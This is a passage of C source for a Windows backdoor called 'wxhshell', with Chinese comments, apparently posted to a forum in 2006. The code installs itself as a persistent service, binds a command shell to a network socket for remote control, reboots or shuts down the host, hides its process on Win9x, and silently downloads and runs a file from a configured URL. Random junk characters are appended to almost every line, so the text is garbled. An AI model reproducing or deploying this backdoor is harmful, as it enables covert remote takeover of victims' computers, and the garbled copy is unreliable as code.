  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jm]P,jaLc  
  } _{y4N0  
  else { =g$>]AE  
o@DlK`  
    switch(cmd[0]) { 5<h:kZ"S^g  
  ]E}eM@xdD  
  // 帮助 }\ hz@G<  
  case '?': { p JM&R<i:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `(lD]o{,s  
    break; {4HcecT  
  } DkeFDzQ5  
  // 安装 :o}LJc)|  
  case 'i': { I+']av8e  
    if(Install()) tZ_D.syBAc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B1(T-pr  
    else h7o?z!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .%x%(olf  
    break; V-w{~  
    } Y]: Ch (Q  
  // 卸载 d\j[O9W>  
  case 'r': { Tu_4kUCR!f  
    if(Uninstall()) ^y<8 &ZFH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"u"B-cz  
    else ,?`Zrxe[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k/2TvEV3=  
    break; -=a,FDeR  
    } nn{PhyK  
  // 显示 wxhshell 所在路径 ^?-wov$  
  case 'p': { 4-~S"T8<u  
    char svExeFile[MAX_PATH]; roHJ$~q?  
    strcpy(svExeFile,"\n\r"); oS#PBql4  
      strcat(svExeFile,ExeFile); noQS bI @  
        send(wsh,svExeFile,strlen(svExeFile),0); Ql{:H5  
    break; h0;R*c  
    } Hm 17El68  
  // 重启 3\0,>L9ET@  
  case 'b': { &W$s-qf".  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &a?k1R>  
    if(Boot(REBOOT)) GVUZn//  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +9R@cUr  
    else { lka Wwjv_D  
    closesocket(wsh); cX4I+Mf  
    ExitThread(0); )6:1`&6  
    } %SN"<O!  
    break; tqwAS)v=  
    } b+e9Pi*\  
  // 关机 USJk *  
  case 'd': { X@H/"B%u2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `tEW.s%Y(6  
    if(Boot(SHUTDOWN)) ?[c{pb ,|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F$te5 ` a  
    else { (KnU-E]L  
    closesocket(wsh); _tR?WmNH=  
    ExitThread(0); *`~]XM@H  
    } pMLTXqL  
    break; l$g \t]  
    } =a!_H=+4  
  // 获取shell \<W/Z.}/  
  case 's': { F6gU9=F1<  
    CmdShell(wsh); y4j\y ? T8  
    closesocket(wsh); H_d^Xk QZ  
    ExitThread(0); Rh#QPYPq  
    break; dd:vQOF;  
  } ZXC_kmBN/  
  // 退出 k8E{pc6;  
  case 'x': { D2 X~tl5<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^~JF7u  
    CloseIt(wsh); S$NJmXhx5  
    break; {YF(6wVl  
    } Df.eb|[{  
  // 离开 OZ6:u^OS]  
  case 'q': { xt1Ug~5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .njk^,N  
    closesocket(wsh); ~UQX t r  
    WSACleanup(); LW!>_~g-  
    exit(1); %abc -q  
    break; i>%A0.9  
        } (DY&{vudF  
  } ]\(Ho  
  } \/F*JPhy  
XWag+K  
  // 提示信息 L*(`c cU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^"] ]rZ)  
} yyM`J7]J  
  } DLD5>  
$nr=4'y Z  
  return; vC!B}~RG  
} ^5rB/y,  
=2e{T J/  
// shell模块句柄 ~' w]%rh!  
int CmdShell(SOCKET sock) fxknfgbg  
{ Q)2i{\GPVn  
STARTUPINFO si; =buarxk  
ZeroMemory(&si,sizeof(si)); '9@AhiNV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #T++5G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K8RV=3MBLD  
PROCESS_INFORMATION ProcessInfo; l- $5CO  
char cmdline[]="cmd"; =B0AG9Fz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); U88gJ[$  
  return 0; 3@wio[  
} ]\ t20R{z  
*=X61`0  
// 自身启动模式 1'f&  
int StartFromService(void) !p!^[/9"c  
{ rUh2[z8:  
typedef struct @K\ hgaQ  
{ )>,ndKT~  
  DWORD ExitStatus; ?10L *PD@  
  DWORD PebBaseAddress; QzS=oiL  
  DWORD AffinityMask; Q!70D)O$  
  DWORD BasePriority; $;Z0CG  
  ULONG UniqueProcessId; .~X&BY>qP  
  ULONG InheritedFromUniqueProcessId; $g_|U:,  
}   PROCESS_BASIC_INFORMATION; .S*VYt%K7  
<FfmDR  
PROCNTQSIP NtQueryInformationProcess; *R3^:Y&  
<b-OdOg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |cgc^S/~H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {$Z S 2 7  
oc;4;A-;`c  
  HANDLE             hProcess; DO6 pv  
  PROCESS_BASIC_INFORMATION pbi; 17#t7Yk  
Jk;dtLL}4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QXEz  
  if(NULL == hInst ) return 0; Y2[ik<  
c!N#nt_<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7n]ukqZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TjicltQi4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X3'd~!a)  
iX-.mq$  
  if (!NtQueryInformationProcess) return 0; BAojP1}+,  
v^aI+p6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9XmbHS[0V  
  if(!hProcess) return 0; Rk#p zD  
QL:Qzr[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %OOy90b2  
i,,mt_/,  
  CloseHandle(hProcess); gO#%*  W  
F},kfCFF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j{YIVX  
if(hProcess==NULL) return 0; # J^ >7v  
{t|Q9&  
HMODULE hMod; =!u]t &yv  
char procName[255]; gts09{"}Y  
unsigned long cbNeeded; l ;S_J^S  
)j!%`g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Cz6bD$5  
.>1vN+  
  CloseHandle(hProcess); s9SUj^  
E: Ul_m8  
if(strstr(procName,"services")) return 1; // 以服务启动 V/tl-;W  
ki|OowP  
  return 0; // 注册表启动 vI]V@i l  
} lib}dk  
ET(/h/r  
// 主模块 cZ3A~dTOR  
int StartWxhshell(LPSTR lpCmdLine) A<IV"bo  
{ +mN8uU~(kx  
  SOCKET wsl; NfZC}  
BOOL val=TRUE; +xQj-r)-  
  int port=0; g){gF(   
  struct sockaddr_in door; @(IA:6GN  
4lI&y<F  
  if(wscfg.ws_autoins) Install(); n.Y45(@E  
`>=@Kc  
port=atoi(lpCmdLine); m[v%Qe|~  
EAHdt=8W{  
if(port<=0) port=wscfg.ws_port; OZ/"W)  
5 %+epzy  
  WSADATA data; G 2uM6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z/q'^PB p  
2 ,krVb?<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?*6Q ;.f<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ni6zo~+W]  
  door.sin_family = AF_INET; }(oWXwFb&W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xeKm} MN]S  
  door.sin_port = htons(port); ,YRBYK:  
8%p+:6kP5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ),H1z`c&I  
closesocket(wsl); E:;MI{;7  
return 1; 5=  V29  
} SNf~%B?`L  
5"bg 8hL  
  if(listen(wsl,2) == INVALID_SOCKET) { [AYJ(H/  
closesocket(wsl); &~'i,v|E  
return 1; j Q8 T  
} 9%2h e)Yqc  
  Wxhshell(wsl); 92~$Qa\S!  
  WSACleanup(); ZCA= n  
@2`nBtk  
return 0; ng9 _c  
2InM(p7j~K  
} u+c2 m  
z\YLO%Mm  
// 以NT服务方式启动 _#we1m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -s\R2_(  
{ uQKo2B0  
DWORD   status = 0; eN`G2eE  
  DWORD   specificError = 0xfffffff; v1/Y0  
/#SH`ZK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?5F;4 oR2g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3 K q /V_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ru|*xNXKgC  
  serviceStatus.dwWin32ExitCode     = 0; h-x~:$Z,  
  serviceStatus.dwServiceSpecificExitCode = 0; ED);2*qP}  
  serviceStatus.dwCheckPoint       = 0; \+&)9 !K  
  serviceStatus.dwWaitHint       = 0; Pa"Kk9!o36  
Yp\Y]pym  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?1r<`o3l\  
  if (hServiceStatusHandle==0) return; eI%k xqc  
M"-.D;sa1  
status = GetLastError(); f1 XM_  
  if (status!=NO_ERROR) OGO\u#  
{ 4UND;I&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O\6gw$  
    serviceStatus.dwCheckPoint       = 0; 5BK3ix*L  
    serviceStatus.dwWaitHint       = 0; Cxe(iwa.  
    serviceStatus.dwWin32ExitCode     = status; 1$^r@rP  
    serviceStatus.dwServiceSpecificExitCode = specificError; iiWpm E<,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6$l?D^{  
    return; 24wr=5p]Q  
  } K[x=knFO  
;wTc_i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &he:_p$x  
  serviceStatus.dwCheckPoint       = 0; @LSX@V   
  serviceStatus.dwWaitHint       = 0; !#W3Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dp4vybJ  
} /%)(Uz  
vP\6=71Y  
// 处理NT服务事件,比如:启动、停止 ~ _IQ:]k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) riRG9c |  
{ lXEn m-_  
switch(fdwControl) ;|W:,a{kS  
{ b|iIdDK  
case SERVICE_CONTROL_STOP: &VcO,7 A|  
  serviceStatus.dwWin32ExitCode = 0; F{_,IQ]U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0g; o6Fg  
  serviceStatus.dwCheckPoint   = 0; I!Mkss xc  
  serviceStatus.dwWaitHint     = 0; ^ > ?C  
  { ^/#8 "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h"'}Z^  
  } )1$H 7|  
  return;  kq([c r  
case SERVICE_CONTROL_PAUSE: \tY7Ga%c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L\!Oj5  
  break; N8=-=]0G  
case SERVICE_CONTROL_CONTINUE: aOQT-C[ O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; keStK8  
  break; f1?%p)C  
case SERVICE_CONTROL_INTERROGATE: 8VuLL<\|  
  break; 0k4XVd+Nv  
}; [k&7h,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IRTWmT jT  
} I3}]MAE  
B\qy:nr j  
// 标准应用程序主函数 =kCiJ8q|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }^P"R[+4u  
{ 2|U6dLZ!  
E,cQ9}/  
// 获取操作系统版本 yU"#2 *C  
OsIsNt=GetOsVer(); P% 8U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P>$+XrTE  
Om_ "X6  
  // 从命令行安装 hh2&FI  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]z| 2  
[nlq(DGJhp  
  // 下载执行文件 K<%8.mZ7  
if(wscfg.ws_downexe) { p["pGsf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TtQd#mSI\  
  WinExec(wscfg.ws_filenam,SW_HIDE); a^ys7UV  
} l.Z+.<@  
cr?ZXu_  
if(!OsIsNt) { edZBQmx+#  
// 如果时win9x,隐藏进程并且设置为注册表启动 %(H' j@D[  
HideProc(); pbIVj3-lY  
StartWxhshell(lpCmdLine); &>R:oYN  
} O1+yOef"k  
else 3(gOF&Uf9  
  if(StartFromService()) ed`7GZB  
  // 以服务方式启动 XQmg^x[,A  
  StartServiceCtrlDispatcher(DispatchTable); .[s6PzQy  
else 52^,qP'6  
  // 普通方式启动 J HV  
  StartWxhshell(lpCmdLine); Q'?VLv |@  
$ f||!g  
return 0; f9+6gY  
}
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只看该作者 1 发表于: 2006-10-10
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